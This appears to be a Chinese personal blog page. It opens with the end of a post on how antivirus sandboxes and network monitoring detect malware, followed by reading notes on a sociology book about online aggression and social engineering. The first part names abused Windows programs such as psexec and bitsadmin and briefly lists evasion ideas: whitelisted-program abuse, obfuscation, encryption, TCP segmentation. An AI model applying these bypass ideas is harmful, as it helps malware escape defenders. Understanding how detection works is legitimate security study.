<h3 id="2-动态"><a href="#2-动态" class="headerlink" title="2.动态"></a>2.动态</h3><p>通常这一步都是静态分析之后做的，部分杀毒软件会有沙盒</p>
<blockquote>
<p>沙盒：也叫启发式查杀，通过模拟计算机的环境执行目标文件再观察特征行为</p>
<p>沙盒模拟的常见特征：</p>
<p>内存较小-》不影响计算机正常运行</p>
<p>时间较快-》沙盒内置的时间速度比现实世界要快，提高查杀速度</p>
<p>进程或文件不完整-》减少杀毒软件运行时对计算机的消耗</p>
<p>io设备缺失-》鼠标键盘等事件大部分沙盒都没有</p>
</blockquote>
<h4 id="2-1-计算机相关"><a href="#2-1-计算机相关" class="headerlink" title="2.1 计算机相关"></a>2.1 计算机相关</h4><p>通常由r1或r2层挂监控的方式（类似于hook）当触发这些条件就会产生事件</p>
<h5 id="服务"><a href="#服务" class="headerlink" title="服务"></a>服务</h5><h5 id="注册表"><a href="#注册表" class="headerlink" title="注册表"></a>注册表</h5><h5 id="组策略"><a href="#组策略" class="headerlink" title="组策略"></a>组策略</h5><h5 id="防火墙"><a href="#防火墙" class="headerlink" title="防火墙"></a>防火墙</h5><h5 id="敏感程序："><a href="#敏感程序：" class="headerlink" title="敏感程序："></a>敏感程序：</h5><p>cmd powershell wmi psexec bitsadmin rundll等</p>
<h5 id="用户"><a href="#用户" class="headerlink" title="用户"></a>用户</h5><p>添加，删除，修改等操作</p>
<h5 id="文件夹："><a href="#文件夹：" class="headerlink" title="文件夹："></a>文件夹：</h5><p>C:/windows/system32 </p>
<p>C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup </p>
<p>C:\tmp等敏感文件夹</p>
<h5 id="常见的绕过思路"><a href="#常见的绕过思路" class="headerlink" title="常见的绕过思路"></a>常见的绕过思路</h5><p>白名单调用这些敏感行为，再导入恶意内容</p>
<h4 id="2-2-网络相关"><a href="#2-2-网络相关" class="headerlink" title="2.2 网络相关"></a>2.2 网络相关</h4><h5 id="IP，域名，证书匹配"><a href="#IP，域名，证书匹配" class="headerlink" title="IP，域名，证书匹配"></a>IP，域名，证书匹配</h5><p>查找通讯的ip或域名是否之前存在攻击行为</p>
<h5 id="流量内容"><a href="#流量内容" class="headerlink" title="流量内容"></a>流量内容</h5><p>时间特征：扫描等</p>
<p>内容特征：data字段中是否存在命令相关关键词或关键词加密特征</p>
<p>结构特征：是否存在已知远控的通讯结构特征</p>
<h5 id="常见的绕过思路-1"><a href="#常见的绕过思路-1" class="headerlink" title="常见的绕过思路"></a>常见的绕过思路</h5><p>tcp分段，内容加密，使用合法证书等</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>不是所有的杀毒软件都有这些，有些比较拉跨，有些比较强，不过总体的思路都是差不多的。</p>
<h3 id="对编程语言的免杀方式"><a href="#对编程语言的免杀方式" class="headerlink" title="对编程语言的免杀方式"></a>对编程语言的免杀方式</h3><p>powershell-》混淆、加密</p>
<p>c++-》编译过程、混淆、加密</p>
<p>python-》混淆、加密</p>
<p>通用-》启发式查杀</p>
<h3 id="杀毒软件与反外挂"><a href="#杀毒软件与反外挂" class="headerlink" title="杀毒软件与反外挂"></a>杀毒软件与反外挂</h3><p>相同点：都有基于至少r2层的监控（监控不多，主要是驱动证书这类的）</p>
<p>不同点：不需要动态，也就不需要沙盒，反外挂程序会有针对需要保护的程序做dll或者进程的额外监控，部分反外挂程序也会有“扫盘”（也就是对整个计算机文件内容做检测），反外挂程序对应用权限不敏感</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
    <article
  id="post-两种社会之间-网络侵犯行为的社会学研究读书笔记"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/02/05/%E4%B8%A4%E7%A7%8D%E7%A4%BE%E4%BC%9A%E4%B9%8B%E9%97%B4-%E7%BD%91%E7%BB%9C%E4%BE%B5%E7%8A%AF%E8%A1%8C%E4%B8%BA%E7%9A%84%E7%A4%BE%E4%BC%9A%E5%AD%A6%E7%A0%94%E7%A9%B6%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"
    >两种社会之间-网络侵犯行为的社会学研究</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/02/05/%E4%B8%A4%E7%A7%8D%E7%A4%BE%E4%BC%9A%E4%B9%8B%E9%97%B4-%E7%BD%91%E7%BB%9C%E4%BE%B5%E7%8A%AF%E8%A1%8C%E4%B8%BA%E7%9A%84%E7%A4%BE%E4%BC%9A%E5%AD%A6%E7%A0%94%E7%A9%B6%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/" class="article-date">
  <time datetime="2021-02-05T00:47:49.000Z" itemprop="datePublished">2021-02-05</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <h2 id="第一部分"><a href="#第一部分" class="headerlink" title="第一部分"></a>第一部分</h2><h3 id="对于网络侵犯行为的社会学研究"><a href="#对于网络侵犯行为的社会学研究" class="headerlink" title="对于网络侵犯行为的社会学研究"></a>对于网络侵犯行为的社会学研究</h3><p>对于“侵犯目的”的描述我个人态度始于书中不一致的，书中仅仅是定义“个体或者群体之间目的不同”而产生的交互行为才被认为是侵犯行为，但是在社会工程学中我们不能用这种狭义的定义模式，很多时候，共同目的也是社会工程学的思考方向之一。</p>
<p>对于国内研究中的碎片化现象我是很同意的，尤其是当前国内网络侵犯行为的研究缺乏整体性、系统性。研究的学科之前联系没有搭建起来，跨学科研究的课题在国内一直是属于比较困难的。社会工程学我个人的思考一直是一种综合性的学科，涉及社会心理学，社会学，行为经济学，心理学，博弈论，传播理论等多个学科，单纯地从某一学科来看社会工程学事件都是不完整的，不系统的。</p>
<p>在理论与经验研究之间的不同这一点，我觉得现在的社会工程学相关文献及研究都还是比较统一的，这点详细描述就是所得到的结果或者某种“标准化”是否具有可复现的条件并复现结果是否具有某种相似性。</p>
<p>书中提到研究网络侵犯行为的前提是“网络社会”与“现实社会”中存在不同作为出发点。我个人认为其实“网络社会”中的侵犯行为其实出发点就是来源于“现实社会”，所有的不管是不是基于网络安全的社会工程学事件都是出发于“现实社会”的需求与条件。</p>
<h2 id="第二部分"><a href="#第二部分" class="headerlink" title="第二部分"></a>第二部分</h2><h3 id="网络侵犯行为的发生空间"><a href="#网络侵犯行为的发生空间" class="headerlink" title="网络侵犯行为的发生空间"></a>网络侵犯行为的发生空间</h3><p>书中以“网络空间”作为相对独立的实体作为思考，我个人的思考方向会更多地将“网络空间”作为“现实空间”的一种附属关系来看待。</p>
<p>书中这部分简单介绍了国内互联网的发展历程及特点，这里我简单地总结为四个：网民数量的增加，网络应用的增加，上网时间的增加，网络普及的年龄增加，这里需要稍微说一下年龄，这里的年龄增加是双向的，并不是单纯的越来越多的青少年上网或者接触互联网的年龄减少，而是也有很多老年人也在接触学习互联网，这种年龄增加的趋势时双向的，我们应该看到这种现象。</p>
<p>对于网络文化的描述除了书中提到的开放性、匿名性、去中心化之外，还有就是网络文化与传统社会学研究中对于社会人群的不同特点尤其是社交特点也应该归纳在网络社交中。</p>
<p>对于网络社交中的“场景”，书中认为这种场景是缺失的，但是我个人认为这种“交流场景”其实并不缺失，在网络交流中，很多的交流应用和渠道就可以看作是交流的“场景”作为我们网络社会研究的“场景”（当然，不仅限于应用或渠道，基础设施，网络文化环境，现实社会场景等都应该纳入‘场景考虑’中）。</p>
<p>书中提到网络社会的“开放性”和“匿名性”让更多来自于不同“现实地域文化”的人开始互相交流从而产生更多的“交流认同”与“交流冲突”，这点我是非常认同的，并且应该作为我们研究社会工程学所考虑的最主要的一种因素，除此之外，我们还应该深入地思考这种认同与冲突会给“现实地域文化”所带来的各种影响，这样“网络社交”与“现实社会”就产生了一个闭环，就更有利于我们进行尤其是社会学相关的研究。</p>
<p>还有就是书中提到“网络交流”会缺乏我们对于“现实肉体”也就是穿着、肢体语言、面部表情等相关的判断。但我们也应该看到，互联网交流反而能看到我们更多的关于我们的个人信息，这种信息不是传统社会交流中的“标签化”和“泛定义化”的，而是“具体到个人标签”的信息，具有完全可独立的分析条件，也比现实社会中的个人特点更加具有独特性。</p>
<p>网络社会的“匿名性”和“虚拟性”导致了个人在网络社交中会对自己的社交形象进行“移植与改造”，这点其实是社会工程学研究的重点之一，尤其是基于网络社交的社会工程学。但是这种“改造的差异性”书中提到是由于“人不会一直在网络社会中”，我个人认为其实这是不全面的，诚然，时间的限制确实无法让我们完全“复制”自己的社交理念与社交形象，但是还有一种情况就是为了在社交环境中获得更多的资源或者在某种社交环境中或者一定的“优势地位”而故意进行的“伪造”，这就是社会工程学中的“形象管理”中非常重要的环节。</p>
<h2 id="第三部分"><a href="#第三部分" class="headerlink" title="第三部分"></a>第三部分</h2><h3 id="网络侵犯行为的生成机制"><a href="#网络侵犯行为的生成机制" class="headerlink" title="网络侵犯行为的生成机制"></a>网络侵犯行为的生成机制</h3><p>由于“网络社交的跨时空”的特点，网络侵犯行为的很多因素都不能使用传统的社会学的思考。即双方有同时在场，一方缺场，同时缺场三种情况。</p>
<p>书中认为“网络社会的开放性”导致人在网络社交中会具有不确定性，我不太认同这种观点，我认为人的社交的确定性是不受“网络社交”与“现实社交”的区别的，人会根据自己的社交偏好和文化习惯在“网络社交”中更加具有确定性，因为人在“现实社交”中所具有的“主动选择”会受到传统物理环境的限制，但是在“网络社交”中由于没有这种限制那么人的社交确定性会更加明显。</p>
<p>书中认为“人”所收到的社交影响只是基于时间的因素，其实这稍微有点局限，人所受到的社交影响是多方面的，从客体来说就有“社交对象”和“交流信息”这些因素也会对网络社交的主体带来影响。</p>
<p>书中提到一种以“社交总时间”为Y轴，以“交流频次”为X轴的一种象限图，这是一种很好的社会工程学中人际关系分析的可用工具。但是书中的观点认为在传统的“现实社交”中“社交总时间长、交流频次多”是人最主要的人际关系，我认为这个是不全面的，这根据每个人的交流习惯和文化环境存在不确定性。</p>
<p>书中提到“主动选择”在网络社交中是没有限制的，这点其实也是不准确的，人的“主动选择”在网络社交中其实也会收到诸如“社交渠道的垄断性”等的限制。</p>
<p>作者认为“现实社会是网络侵犯行为的助推器”也就是“起因”，这其实是不全面的，“现实社会”不仅是“起因”，也是“结果和目的”。</p>
<p>“群体心理是侵犯行为的内在驱动”。这点中“群体心理”我举得不太全面，“群体社会环境”和“群体文化”也应该纳入“侵犯行为”的考虑中，这里的意思就是不仅仅使用心理学中的东西来思考“群体”这种概念，还应该使用社会学和舆论传播学中的“群体概念”来做思考。</p>
<h2 id="第四部分"><a href="#第四部分" class="headerlink" title="第四部分"></a>第四部分</h2><h3 id="网络侵犯行为的类型与特征"><a href="#网络侵犯行为的类型与特征" class="headerlink" title="网络侵犯行为的类型与特征"></a>网络侵犯行为的类型与特征</h3><p>类型的划分我个人比较认同，从“主谓宾”三个结构来分析，也就是“实施者”、“实施行为”、“被实施者”三个部分来理解的，这也是在社会工程学总体分析中非常重要的框架。</p>
<p>书中在描述特征时把“利益诉求”作为单独的一种特征来描述，这点我不太认同，“利益诉求”其实表现的方式就可以衍生出书中描述的所有其他特点比如“情绪宣泄”和“观点表达”等。不应该单独地来看待，而是应该以“利益诉求”为基础点出发衍生地去思考其他特征的来源，正好书中下一节就讲了这种变化也就是第四章的第三小节“不同类型网络侵犯行为之间的变化”。</p>
<h2 id="第五部分"><a href="#第五部分" class="headerlink" title="第五部分"></a>第五部分</h2><h3 id="网络侵犯行为的运作特点"><a href="#网络侵犯行为的运作特点" class="headerlink" title="网络侵犯行为的运作特点"></a>网络侵犯行为的运作特点</h3><p>运作过程中的“本土化特点”其实就很好地描述了“网络社交”的文化环境和社会环境。不同的文化环境和社会环境的差异就是网络侵犯行为的出发点这点其实就是前面所讲的“利益诉求”的基础条件之一。</p>
<p>书中提到“网络社会的其他群体会对网络侵犯行为的双方，也就是实施者和被实施者都会产生影响”，这点我非常认同，并且也是在社会工程学中很少研究的点。社会工程的交互不应该仅限于传统的“点对点交流”，而是应该做更加宽泛的“群体化”和“多边化”思考。</p>
<p>书中关于“全球化背景下的地方性”论述很不错，不仅是“全球化”，也提到了“全国化中的不同地区的地方性”。</p>
<h2 id="第六部分"><a href="#第六部分" class="headerlink" title="第六部分"></a>第六部分</h2><h3 id="网络侵犯行为的社会影响"><a href="#网络侵犯行为的社会影响" class="headerlink" title="网络侵犯行为的社会影响"></a>网络侵犯行为的社会影响</h3><p>“社会影响”以及“对被实施者的影响”作者是以行为类型分类的，我个人认为这并不准确，社会影响我个人认为应该从“被实施者的社交环境变化”和“被实施者的主观条件”来思考会更加准确和全面。</p>
<h2 id="第七部分"><a href="#第七部分" class="headerlink" title="第七部分"></a>第七部分</h2><h3 id="网络侵犯行为的社会控制"><a href="#网络侵犯行为的社会控制" class="headerlink" title="网络侵犯行为的社会控制"></a>网络侵犯行为的社会控制</h3><p>这里的社会控制书中不是仅限于“实施者对社会的影响”，而是从整个行为过程来理解的，这点是非常认同的。</p>
<p>社会控制书中的概念是社会学中的“社会控制”，也就是“可预期，可秩序化的社会状态”。</p>
<p>书中认为社会控制应该从“网络社会”和“现实社会”两个方面进行，这点我非常同意。规范化和法律化的过程不能仅限于“某个单一状态的个体”。</p>
<p>在社会控制路径中提到“明确类型”、“建立机制”、“创建规范”、“多元化”、“加强教育”、“预警机制”这六点，其实我个人认为逻辑不太好理解，“建立机制”中就已经包含其他五点了，建立机制的基础就是明确类型，建立机制的表现之一就是创建规范、加强教育和预警机制，建立机制的宏观结构就是多元化。</p>
<h2 id="本书总体评价"><a href="#本书总体评价" class="headerlink" title="本书总体评价"></a>本书总体评价</h2><p>很好地从社会学角度分析了“网络社交中的侵犯行为”，从逻辑中的宏观结构探讨了网络空间中的社交特点。并且书中提到的很好的网络社交的安全管理的宏观方案。</p>
<p>缺点就是依然没有很好地论证“网络社会”与“现实社会”的相互关系，仅仅从事件触发论述了相互关系中的“嵌套”是如何产生的。</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
  </article>
  

  
  <nav class="page-nav">
    
    <span class="page-number current">1</span><a class="page-number" href="/page/2/">2</a><a class="extend next" rel="next" href="/page/2/">下一页</a>
  </nav>
  
</section>
</div>

      <footer class="footer">
  <div class="outer">
    <ul>
      <li>
        Copyrights &copy;
        2020-2021
        <i class="ri-heart-fill heart_icon"></i> 萌萌哒的小玉玉
      </li>
    </ul>
    <ul>
      <li>
        
        
        
        Powered by <a href="https://hexo.io" target="_blank">Hexo</a>
        <span class="division">|</span>
        Theme - <a href="https://github.com/Shen-Yu/hexo-theme-ayer" target="_blank">Ayer</a>
        
      </li>
    </ul>
    <ul>
      <li>
        
        
        <span>
  <span><i class="ri-user-3-fill"></i>Visitors:<span id="busuanzi_value_site_uv"></span></span>
  <span class="division">|</span>
  <span><i class="ri-eye-fill"></i>Views:<span id="busuanzi_value_page_pv"></span></span>
</span>
        
      </li>
    </ul>
    <ul>
      
    </ul>
    <ul>
      
    </ul>
    <ul>
      <li>
        <!-- cnzz统计 -->
        
        <script type="text/javascript" src='https://s9.cnzz.com/z_stat.php?id=1278069914&amp;web_id=1278069914'></script>
        
      </li>
    </ul>
  </div>
</footer>
      <div class="float_btns">
        <div class="totop" id="totop">
  <i class="ri-arrow-up-line"></i>
</div>

<div class="todark" id="todark">
  <i class="ri-moon-line"></i>
</div>

      </div>
    </main>
    <aside class="sidebar on">
      <button class="navbar-toggle"></button>
<nav class="navbar">
  
  <div class="logo">
    <a href="/"><img src="/images/ayer-side.svg" alt="小玉玉的博客"></a>
  </div>
  
  <ul class="nav nav-main">
    
    <li class="nav-item">
      <a class="nav-item-link" href="/">主页</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/archives">归档</a>
    </li>
    
  </ul>
</nav>
<nav class="navbar navbar-bottom">
  <ul class="nav">
    <li class="nav-item">
      
      <a class="nav-item-link nav-item-search"  title="Search">
        <i class="ri-search-line"></i>
      </a>
      
      
      <a class="nav-item-link" target="_blank" href="/atom.xml" title="RSS Feed">
        <i class="ri-rss-line"></i>
      </a>
      
    </li>
  </ul>
</nav>
<div class="search-form-wrap">
  <div class="local-search local-search-plugin">
  <input type="search" id="local-search-input" class="local-search-input" placeholder="Search...">
  <div id="local-search-result" class="local-search-result"></div>
</div>
</div>
    </aside>
    <div id="mask"></div>

<!-- #reward -->
<div id="reward">
  <span class="close"><i class="ri-close-line"></i></span>
  <p class="reward-p"><i class="ri-cup-line"></i>请我喝杯咖啡吧~</p>
  <div class="reward-box">
    
    <div class="reward-item">
      <img class="reward-img" src="https://cdn.jsdelivr.net/gh/Shen-Yu/cdn/img/alipay.jpg">
      <span class="reward-type">支付宝</span>
    </div>
    
    
    <div class="reward-item">
      <img class="reward-img" src="https://cdn.jsdelivr.net/gh/Shen-Yu/cdn/img/wechat.jpg">
      <span class="reward-type">微信</span>
    </div>
    
  </div>
</div>
    
<script src="/js/jquery-2.0.3.min.js"></script>
 
<script src="/js/lazyload.min.js"></script>

<!-- Tocbot -->

<script src="https://cdn.jsdelivr.net/npm/jquery-modal@0.9.2/jquery.modal.min.js"></script>
<link
  rel="stylesheet"
  href="https://cdn.jsdelivr.net/npm/jquery-modal@0.9.2/jquery.modal.min.css"
/>
<script src="https://cdn.jsdelivr.net/npm/justifiedGallery@3.7.0/dist/js/jquery.justifiedGallery.min.js"></script>

<script src="/dist/main.js"></script>

<!-- ImageViewer -->
 <!-- Root element of PhotoSwipe. Must have class pswp. -->
<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">

    <!-- Background of PhotoSwipe. 
         It's a separate element as animating opacity is faster than rgba(). -->
    <div class="pswp__bg"></div>

    <!-- Slides wrapper with overflow:hidden. -->
    <div class="pswp__scroll-wrap">

        <!-- Container that holds slides. 
            PhotoSwipe keeps only 3 of them in the DOM to save memory.
            Don't modify these 3 pswp__item elements, data is added later on. -->
        <div class="pswp__container">
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
        </div>

        <!-- Default (PhotoSwipeUI_Default) interface on top of sliding area. Can be changed. -->
        <div class="pswp__ui pswp__ui--hidden">

            <div class="pswp__top-bar">

                <!--  Controls are self-explanatory. Order can be changed. -->

                <div class="pswp__counter"></div>

                <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>

                <button class="pswp__button pswp__button--share" style="display:none" title="Share"></button>

                <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>

                <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>

                <!-- Preloader demo http://codepen.io/dimsemenov/pen/yyBWoR -->
                <!-- element will get class pswp__preloader--active when preloader is running -->
                <div class="pswp__preloader">
                    <div class="pswp__preloader__icn">
                        <div class="pswp__preloader__cut">
                            <div class="pswp__preloader__donut"></div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
                <div class="pswp__share-tooltip"></div>
            </div>

            <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)">
            </button>

            <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)">
            </button>

            <div class="pswp__caption">
                <div class="pswp__caption__center"></div>
            </div>

        </div>

    </div>

</div>

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/default-skin/default-skin.min.css">
<script src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe-ui-default.min.js"></script>

<script>
    function viewer_init() {
        let pswpElement = document.querySelectorAll('.pswp')[0];
        let $imgArr = document.querySelectorAll(('.article-entry img:not(.reward-img)'))

        $imgArr.forEach(($em, i) => {
            $em.onclick = () => {
                // slider展开状态
                // todo: 这样不好，后面改成状态
                if (document.querySelector('.left-col.show')) return
                let items = []
                $imgArr.forEach(($em2, i2) => {
                    let img = $em2.getAttribute('data-idx', i2)
                    let src = $em2.getAttribute('data-target') || $em2.getAttribute('src')
                    let title = $em2.getAttribute('alt')
                    // 获得原图尺寸
                    const image = new Image()
                    image.src = src
                    items.push({
                        src: src,
                        w: image.width || $em2.width,
                        h: image.height || $em2.height,
                        title: title
                    })
                })
                var gallery = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, {
                    index: parseInt(i)
                });
                gallery.init()
            }
        })
    }
    viewer_init()
</script> 
<!-- MathJax -->

<!-- Katex -->

<!-- busuanzi  -->
 
<script src="/js/busuanzi-2.3.pure.min.js"></script>
 
<!-- ClickLove -->

<!-- ClickBoom1 -->

<!-- ClickBoom2 -->

<!-- CodeCopy -->
 
<link rel="stylesheet" href="/css/clipboard.css">
 <script src="https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js"></script>
<script>
  function wait(callback, seconds) {
    var timelag = null;
    timelag = window.setTimeout(callback, seconds);
  }
  !function (e, t, a) {
    var initCopyCode = function(){
      var copyHtml = '';
      copyHtml += '<button class="btn-copy" data-clipboard-snippet="">';
      copyHtml += '<i class="ri-file-copy-2-line"></i><span>COPY</span>';
      copyHtml += '</button>';
      $(".highlight .code pre").before(copyHtml);
      $(".article pre code").before(copyHtml);
      var clipboard = new ClipboardJS('.btn-copy', {
        target: function(trigger) {
          return trigger.nextElementSibling;
        }
      });
      clipboard.on('success', function(e) {
        let $btn = $(e.trigger);
        $btn.addClass('copied');
        let $icon = $($btn.find('i'));
        $icon.removeClass('ri-file-copy-2-line');
        $icon.addClass('ri-checkbox-circle-line');
        let $span = $($btn.find('span'));
        $span[0].innerText = 'COPIED';
        
        wait(function () { // 等待两秒钟后恢复
          $icon.removeClass('ri-checkbox-circle-line');
          $icon.addClass('ri-file-copy-2-line');
          $span[0].innerText = 'COPY';
        }, 2000);
      });
      clipboard.on('error', function(e) {
        e.clearSelection();
        let $btn = $(e.trigger);
        $btn.addClass('copy-failed');
        let $icon = $($btn.find('i'));
        $icon.removeClass('ri-file-copy-2-line');
        $icon.addClass('ri-time-line');
        let $span = $($btn.find('span'));
        $span[0].innerText = 'COPY FAILED';
        
        wait(function () { // 等待两秒钟后恢复
          $icon.removeClass('ri-time-line');
          $icon.addClass('ri-file-copy-2-line');
          $span[0].innerText = 'COPY';
        }, 2000);
      });
    }
    initCopyCode();
  }(window, document);
</script>
 
<!-- CanvasBackground -->

<script>
  if (window.mermaid) {
    mermaid.initialize({ theme: "forest" });
  }
</script>


    
  </div>
</body>

</html>